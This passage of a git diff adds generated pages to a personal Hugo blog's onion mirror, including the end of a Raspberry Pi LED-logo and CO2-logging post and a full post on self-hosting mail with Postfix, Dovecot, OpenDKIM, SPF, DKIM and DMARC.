    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
    +jSoc5w/+Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw
    +0oWl2ZZ6FHKdAo2+gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC+9J
    +CgcvqbZdC+M2c3PcPPA4UV5reYclf9PisEsmJSiR+cyDaCtNJkYjQ9SSZMO+BV93
    +k6I20tEILeR/l72ahSGyGCQxFTkI+cE5EOglG+AJP7HnLArcBUplixjLS7j/gq13
    +U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe+kXXv1wH1yE
    +sfJnMxiQ2YJqxUXDjJNJt1R+4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg
    +sDsV6dgcPJUSvpuZqPmQicTu/+BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP
    +QUuBm7o7sHpSUax7CEE+vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma
    +B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK+9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb
    +Bs+BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh+hXljpEPyQ/Mq3s0X
    +o9h8Z1rq9m7nIwmpLNW+vEiL81/SrnjJE8/+kA/+J2p9TNBYcn8=
    +=tAeg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/inet_logo.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/inet_logo.md.asc
    +gpg --verify inet_logo.md.asc inet_logo.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/soldering/page/1/index.html b/public-onion/tags/soldering/page/1/index.html new file mode 100644 index 0000000..3cd1122 --- /dev/null +++ b/public-onion/tags/soldering/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/soldering/ + + + + + + diff --git a/public-onion/tags/spf/index.html b/public-onion/tags/spf/index.html new file mode 100644 index 0000000..cc10b9d --- /dev/null +++ b/public-onion/tags/spf/index.html @@ -0,0 +1,354 @@ + + + + + + + +Spf | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) +

    +
    +
    +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    +
    +
    July 24, 2026 · 17 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/spf/index.xml b/public-onion/tags/spf/index.xml new file mode 100644 index 0000000..65d4308 --- /dev/null +++ b/public-onion/tags/spf/index.xml @@ -0,0 +1,154 @@ + + + + Spf on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/spf/ + Recent content in Spf on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 24 Jul 2026 00:00:00 +0000 + + + Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). + +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    +
    +
    +
